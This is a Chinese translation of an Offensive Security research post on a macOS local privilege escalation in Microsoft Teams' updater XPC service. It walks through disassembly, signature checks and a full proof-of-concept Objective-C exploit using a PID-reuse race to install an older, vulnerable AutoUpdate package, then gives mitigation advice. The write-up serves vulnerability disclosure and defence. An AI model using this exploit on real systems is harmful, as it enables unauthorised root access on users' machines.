macOS版本的本地提权漏洞分析

  • A+

译文声明
本文是翻译文章,文章原作者Csaba Fitzl,文章来源:https://www.offensive-security.com
原文地址:https://www.offensive-security.com/offsec/microsoft-teams-macos-local-privesc

译文仅供参考,具体内容表达以及含义以原文为准

引言

这篇博客文章分享了Microsoft Teams的XPC服务中发现的Offensive Security漏洞的详细信息。尽管Microsoft合理地确保了这些服务的安全,但是我们依然能看到小的代码错误会产生怎样严重的影响。

我们已将此问题报告给了MSRC,但不幸的是,虽然Microsoft认为这一发现是有效的,但不符合他们的立即维修标准。自从他们加强XPC服务以来,该漏洞仍然可以被利用。

漏洞的根本原因

该漏洞是由两个截然不同的问题共同导致的结果,如果将它们组合在一起,则会产生可利用的场景。他们是:
1. 不安全的XPC连接验证
2. 用户对安装软件包的控制以及软件包签名验证不足

通过/Library/LaunchDaemons/com.microsoft.teams.TeamsUpdaterDaemon.plist文件启动XPC服务。
```
% sudo plutil -convert xml1 /Library/LaunchDaemons/com.microsoft.teams.TeamsUpdaterDaemon.plist -o -

Label

com.microsoft.teams.TeamsUpdaterDaemon

MachServices

 <b><key>com.microsoft.teams.TeamsUpdaterDaemon</key></b>

 <true/>

Program

/Applications/Microsoft Teams.app/Contents/TeamsUpdaterDaemon.xpc/Contents/MacOS/TeamsUpdaterDaemon

```

列表1 – Microsoft Teams Updater启动文件

它包含一个Mach服务名称,com.microsoft.teams.TeamsUpdaterDaemon以及可执行文件路径/Applications/MicrosoftTeams.app/Contents/TeamsUpdaterDaemon.xpc/Contents/MacOS/TeamsUpdaterDaemon。这是一个非常不寻常的位置,因为通常在/Library/PrivilegedHelperTools/目录下安装类似的服务。

如果使用Hopper(或任何其他反汇编程序)打开此二进制文件,则可以使用该shouldAcceptNewConnection:方法开始调查。此方法通常负责控制对XPC服务的连接访问。
```
/ @class ServiceDelegate /

-(char)listener:(void )arg2 shouldAcceptNewConnection:(void )arg3 {

r12 = [arg3 retain];

rdx = r12;

r14 = [self isValidConnection:rdx];
```

列表2 – shouldAcceptNewConnection:方法的开头

shouldAcceptNewConnection:方法接受一个NSXPCConnection对象作为其参数,该对象包含对连接客户端的引用。在这种情况下,此参数为arg3,并立即传递给isValidConnection:验证连接客户端的方法。让我们分析一下反汇编程序中的方法isValidConnection:
```
-(char)isValidConnection:(void *)arg2 {

r13 = [arg2 retain];

rbx = [[Logger getInstance] retain];

[rbx logInfo:@"Validating connection"];

[rbx release];

rbx = [arg2 processIdentifier];
```

列表3 – isValidConnection:方法的开头

isValidConnection:方法将获取客户端的PID,用于后续的验证。如果开发人员使用该auditToken属性而不是PID,则XPC服务将能够验证连接服务是否为预期的服务。但是,由于可以重用PID或可以生成新进程并继承父进程的PID,因此可以绕过验证。

通过进行连接的确切验证发现processIdentifier非常复杂,超出了本文的讨论范围。但是,由于它使用PID,因此我们始终可以绕过验证。

通过查看主应用程序的代码签名,可以发现另一个问题:
```
% codesign -dv --entitlements :- /Applications/Microsoft\ Teams.app

Executable=/Applications/Microsoft Teams.app/Contents/MacOS/Teams

Identifier=com.microsoft.teams

Format=app bundle with Mach-O thin (x86_64)

CodeDirectory v=20500 size=383 flags=0x10000(runtime) hashes=3+5 location=embedded

Signature size=9060

Timestamp=2020. Jun 4. 3:32:37

Info.plist entries=17

TeamIdentifier=UBF8T346G9

Runtime Version=10.12.0

Sealed Resources version=2 rules=13 files=128

Internal requirements count=1 size=180

com.apple.security.device.camera

com.apple.security.device.audio-input

com.apple.security.personal-information.location

com.apple.security.automation.apple-events

com.apple.security.cs.allow-jit

com.apple.security.cs.allow-unsigned-executable-memory

com.apple.security.cs.disable-library-validation

com.apple.security.cs.disable-executable-page-protection

```

列表4 –"Microsoft Teams.app"的代码签名

即使使用audit_token,MS Teams应用程序也容易受到dylib代理攻击的影响,因为com.apple.security.cs.disable-library-validation授权已设置为true。这将使我们能够将dylib注入应用程序,并在连接到XPC服务时模拟它。

尽管该应用程序的文件夹只能由root用户写入,并且我们不能替换其中的任何dylib,但恶意参与者仍然可以将其复制到另一个位置(例如:/tmp/)并注入到复制的应用程序中。

我们可以看到,应用程序文件夹中有许多dylib可供劫持。
```
/Applications/Microsoft Teams.app/Contents/Resources/app.asar.unpacked/node_modules/slimcore/bin/libskypert.dylib

/Applications/Microsoft Teams.app/Contents/Resources/app.asar.unpacked/node_modules/slimcore/bin/libRtmControl.dylib

/Applications/Microsoft Teams.app/Contents/Resources/app.asar.unpacked/node_modules/slimcore/bin/libssScreenVVS2.dylib

/Applications/Microsoft Teams.app/Contents/Resources/app.asar.unpacked/node_modules/slimcore/bin/libRtmMediaStack.dylib

/Applications/Microsoft Teams.app/Contents/Frameworks/Electron Framework.framework/Versions/A/Libraries/libffmpeg.dylib
```

列表5 –"Microsoft Teams.app"中的Dylibs

现在,我们已经找到了与服务进行通信的各种方式,我们需要检查XPC服务是否提供了任何可以提权的功能。针对服务二进制文件运行类转储,/Applications/Microsoft Teams.app/Contents/TeamsUpdaterDaemon.xpc/Contents/MacOS/TeamsUpdaterDaemon使我们能够转储服务的方法。查看输出后,我们发现TeamsUpdaterDaemonProtocol定义了可以通过XPC连接调用的方法。
```
@protocol TeamsUpdaterDaemonProtocol

  • (void)installUpdateWithPackage:(NSString )arg1 withPreferences:(NSDictionary )arg2 withReply:(void (^)(NSString *))arg3;

  • (void)ping:(void (^)(void))arg1;

@end
```

列表6 – TeamsUpdaterDaemonProtocol定义

让我们加载installUpdateWithPackage:withPreferences:withReply:Hopper,看看它能做什么。这是一个相当冗长的功能,但下面显示了包含关键部分的代码段。
1 -(void)installUpdateWithPackage:(void *)arg2 withPreferences:(void *)arg3 withReply:(void *)arg4 {
2 r13 = [arg2 retain];
3 (...)
4 var_278 = r13;
5 rcx = r13;
6 (...)
7 rbx = [[NSString stringWithFormat:@"inside installUpdateWithPackage. packagePath: %@", rcx] retain];
8 (...)
9 r15 = var_278;
10 (...)
11 rdx = r15;
12 if ([rax fileExistsAtPath:rdx] == 0x0) goto loc_100006043;
13 (...)
14 [Utility clearPkgsInAppSupport];
15 rax = [Utility copyPkgToAppSupport:r15];
16 (...)
17 r12 = rax;
18 if ([Utility lockPackage:r12] == 0x0) goto loc_100006350;
19 (...)
20 if ((r13)(r14, @selector(validatePackage:), r12) == 0x0) goto loc_10000653c;
21 (...)
22 rdx = r12;
23 (...)
24 (r13)(r14, @selector(installPackage:withPreferences:), rdx, rcx, 0x0);

列表7 – installUpdateWithPackage:withPreferences:withReply的关键部分:

installUpdateWithPackage:withPreferences:withReply:方法接受包路径作为参数。该路径是用户控制的,可以在文件系统上的任何位置。该方法将检查文件是否存在(第12行),如果存在,它将清理应用程序支持文件夹(第14行)。接下来,该方法将调用copyPkgToAppSupport:(第15行)以将包复制到应用程序支持文件夹,只有root用户可以访问该文件夹。它将锁定复制的文件(第18行)并进行验证(第20行)。这很重要,因为复制后,我们将无法在操作该软件包。

复制包后,validatePackage:将调用以下方法。
-(bool)validatePackage:(void *)arg2 {
(...)
r13 = [[NSTask alloc] init];
[r13 setLaunchPath:@"/usr/sbin/pkgutil"];
var_30 = r14;
rcx = r14;
rbx = [[NSArray arrayWithObjects:@"--check-signature"] retain];
[r13 setArguments:rbx];
[rbx release];
rbx = [[Logger getInstance] retain];
[rbx logInfo:@"launching pkgutil task"];
(...)
if (r15 != 0x0) {
rsi = @selector(logError:);
rdx = @"pkgutil verification failed";
(*_objc_msgSend)(rbx, rsi);
[rbx release];
rbx = 0x0;
r14 = var_30;
}
else {
[rbx logInfo:@"pkgutil verification passed. Checking certificate chain...", rcx, 0x0];
[rbx release];
r14 = var_30;
r15 = _FValidMicrosoftPackage([objc_retainAutorelease(r14) UTF8String], @selector(UTF8String));
(...)

列表8 – validatePackage:方法

validatePackage:方法将使用pkgutil来检查软件包是否经过代码签名。如果是这样,它将调用_FValidMicrosoftPackage
int _FValidMicrosoftPackage(int arg0, int arg1) {
(...)
rbx = _FCertContainsIdentityForKey(r15, rsi, @"Microsoft Corporation");
r13 = **_kSecOIDOrganizationalUnitName;
r14 = _FCertContainsIdentityForKey(r15, r13, @"UBF8T346G9") & rbx;
rbx = **_kSecOIDX509V1IssuerName;
var_29 = _FCertContainsIdentityInOIDForKey(r15, rbx, var_58, @"Apple Inc.");
var_48 = rbx;
var_50 = r13;
rbx = _FCertContainsIdentityInOIDForKey(r15, rbx, r13, @"Apple Certification Authority") & var_29;
r13 = SecPolicyCreateBasicX509();
var_68 = r15;
if (r13 != 0x0) {
var_38 = 0x0;
rax = SecTrustCreateWithCertificates(r15, r13, &var_38);
r15 = 0x0;
if (rax == 0x0) {
r15 = 0x0;
if (0x0 != 0x0) {
var_29 = rbx;
SecTrustEvaluate(0x0, &var_74);
if (var_74 == 0x4) {
rax = SecTrustGetCertificateCount(0x0);
if (rax > 0x0) {
r15 = SecTrustGetCertificateAtIndex(0x0, rax - 0x1);
r15 = _FCertContainsIdentityInOIDForKey(r15, var_48, var_50, @"Apple Certification Authority") & _FCertContainsIdentityInOIDForKey(r15, var_48, var_58, @"Apple Inc.") & _FCertContainsIdentityForKey(r15, var_50, @"Apple Certification Authority");
(...)

列表9 – _FValidMicrosoftPackage函数

_FValidMicrosoftPackage功能负责验证Microsoft的签名。但重要的是,验证正确后它不会阻止安装旧版本的,易受攻击的Microsoft应用程序。过去曾探讨过使用易受攻击的Silverlight安装程序的另一项Microsoft服务的类似利用途径:CVE-2018–8412:通过旧版软件包进行Mac特权升级的MS Office 2016

总而言之,我们发现我们可以执行dylib劫持或PID重用攻击来与MS Teams的XPC服务进行对话。该服务提供了一个允许我们安装自定义的Microsoft签名的安装程序包的功能。尽管签名验证正确完成,但这仍然允许我们安装可能包含已知漏洞的旧Microsoft应用程序。

微软团队的工作

为了利用Teams应用程序,我们首先需要连接到XPC服务。为此,我们使用了经典的PID重用攻击环境。因为每次调用XPC服务都会执行该clearPkgsInAppSupport:方法,并且app support文件夹的内容将被删除,所以我们只需要得到一次竞争条件即可。如果我们再次得到竞争条件,复制的文件将被删除,从而导致利用失败。

一旦可以与XPC服务进行通信,我们将安装Microsoft AutoUpdate(MAU)4.20,该更新版本包含有本地提权漏洞。此漏洞的CVE为CVE-2020-0984,此处包含更多详细信息。

我们的利用计划如下:

  1. 通过PID重用攻击与XPC服务进行对话
  2. 安装易受攻击的Microsoft AutoUpdate版本
  3. 利用MAU XPC服务中的本地提权漏洞(CVE-2020-0984)

运行漏洞利用程序之前,我们需要将易受攻击的MAU安装程序放置在正确的位置。我们将下载的Microsoft_AutoUpdate_4.20.20020900_Updater.pkg程序包其放在/tmp/目录中。然后,我们可以调用installUpdateWithPackage:withPreferences:withReply:XPC的服务方法并执行PID重用攻击。

完整的概念证明代码可在下面找到。
```

import

include

include

@protocol TeamsUpdaterDaemonProtocol
- (void)installUpdateWithPackage:(NSString )arg1 withPreferences:(NSDictionary )arg2 withReply:(void (^)(NSString *))arg3;
- (void)ping:(void (^)(void))arg1;
@end

int main(void) {

//Only 2 is the race count, more than that will result in deletion of our own pkg files

define RACE_COUNT 2

// Define application allowed to communicate with XPC service

define kValid "/Applications/Microsoft Teams.app/Contents/MacOS/Teams"

extern char **environ;

int pids[RACE_COUNT];
for (int i = 0; i < RACE_COUNT; i++)
{
int pid = fork();
//Only enter for child process
if (pid == 0)
{
NSString _serviceName = @"com.microsoft.teams.TeamsUpdaterDaemon";
//Connect to Vulnerable XPC Service
NSXPCConnection
_agentConnection = [[NSXPCConnection alloc] initWithMachServiceName:_serviceName options:4096];
[_agentConnection setRemoteObjectInterface:[NSXPCInterface interfaceWithProtocol:@protocol(TeamsUpdaterDaemonProtocol)]];
[_agentConnection resume];

// Handle error if one occurs
id obj = [_agentConnection remoteObjectProxyWithErrorHandler:^(NSError* error)
{
(void)error;
NSLog(@"Connection Failure");
}];

NSLog(@"obj: %@", obj);
NSLog(@"conn: %@", _agentConnection);

//run MS installer
//pkg path
NSString* pkg = @"/tmp/Microsoft_AutoUpdate_4.20.20020900_Updater.pkg";

//preferences dictionary objects, a random UID, and the current user's name
NSDictionary *dict = [NSDictionary dictionaryWithObjects:@[@"48fe48cc-1c3a-4bf8-a731-1947150b4a3f",NSUserName()]
forKeys:@[@"TeamsPreferenceCorrelationId",@"TeamsPreferenceUsername"]];

//call the XPC
[obj installUpdateWithPackage:pkg withPreferences:dict withReply:^(NSString arg3){
NSLog(@"%@",arg3);
}];
//Spawn a new process with a pid reused of the current child. This process will have a valid MS signature since we spawn MS Teams
//Once the connection is verified with the valid spawned process, the message sent above will be consumed
char target_binary[] = kValid;
char
target_argv[] = {target_binary, NULL};
posix_spawnattr_t attr;
posix_spawnattr_init(&attr);
short flags;
posix_spawnattr_getflags(&attr, &flags);
flags |= (POSIX_SPAWN_SETEXEC | POSIX_SPAWN_START_SUSPENDED);
posix_spawnattr_setflags(&attr, flags);
posix_spawn(NULL, target_binary, NULL, &attr, target_argv, environ);
}
printf("forked %d\n", pid);
pids[i] = pid;
}
// keep the children alive
sleep(10);

cleanup:
for (int i = 0; i < RACE_COUNT; i++)
{
pids[i] && kill(pids[i], 9);
}
}
```

列表10 – MS团队的完整POC

我们可以使用以下命令来编译此代码:
gcc -framework Foundation msteamspid.m -o msteamspid

列表11 –编译MS Teams漏洞

运行漏洞利用程序后,我们需要检查是否已安装MAU软件包。由于漏洞利用了竞争条件,因此我们可能需要多次运行。根据机器的速度,可能需要调整RACE_COUNT变量。

查看位于的XPC服务日志/Library/Logs/Microsoft/Teams/updater.log,以下条目应显示一次,否则,利用将失败。
2020-07-05 15:35:28 [TeamsUpdaterDaemon] <727>-信息-连接已验证

列表12 –日志中的XPC客户端代码验证失败

列表12中显示的条目指示成功的客户端验证。如前所述,多次调用installUpdateWithPackage:withPreferences:withReply:将导致在调用过程中删除pkg文件,并且clearPkgsInAppSupport:将安装失败。

成功利用Microsoft Teams之后,我们需要利用刚刚通过XPC服务调用安装的MAU应用程序。可以通过从更旧版本的Microsoft AutoUpdate注入dylib来完成MAU开发。此漏洞利用的细节不在本文的讨论范围之内。可以在此处找到MAU漏洞利用的完整详细信息。

正如我们在这种情况下所看到的,因为较旧的代码仍然可以满足要求,所以即使是正确的签名验证也可能导致问题。

给开发人员的建议

我们建议采取以下做法来确保连接验证免受类似攻击。

调用中的shouldAcceptNewConnection:客户端进程验证应基于audit_token而不是PID。客户端的代码签名验证必须确保其正在处理预期组织的有效应用程序。

此外,必须加强客户端抗注入攻击的能力。这可以通过增强运行效率或通过库验证来编译客户端从而完成。客户端也必须没有com.apple.security.cs.disable-library-validation or com.apple.security.get-task-allow权利,因为这些权利将允许其他进程将代码注入应用程序,从而导致恶意进程与XPC服务通信。

总结

在本文中,我们讨论了Microsoft Teams中的XPC漏洞,这是由于XPC服务中的两个小问题共同导致的。解决其中任意一个问题即可以防止漏洞利用。

该应用程序容易受到XPC帮助工具中不正确的客户端验证的攻击。一般而言,不正确保护此连接将使其他应用程序连接并调用该服务公开的方法。这通常会导致权限的提升,因此从安全角度来看,此验证至关重要。

Microsoft虽然修复了PID重用问题,但是客户端应用程序仍然容易受到注入的影响,并且仍然可以与XPC服务进行对话。读者仍然可以利用这种情况进行技术练习。

介绍

Csaba Fitzl工作在一家致力于恶意软件分析、威胁搜寻、利用和防御规避的大型企业中,担任网络工程师已有6年,担任蓝红团队成员已有8年。目前,他专注于macOS研究,并在OffSec担任内容开发人员。他曾在各种国际IT安全会议上进行了演讲和研讨会,包括Hacktivity,hack.lu,Troopers,SecurityFest,DEFCON和Objective By The Sea。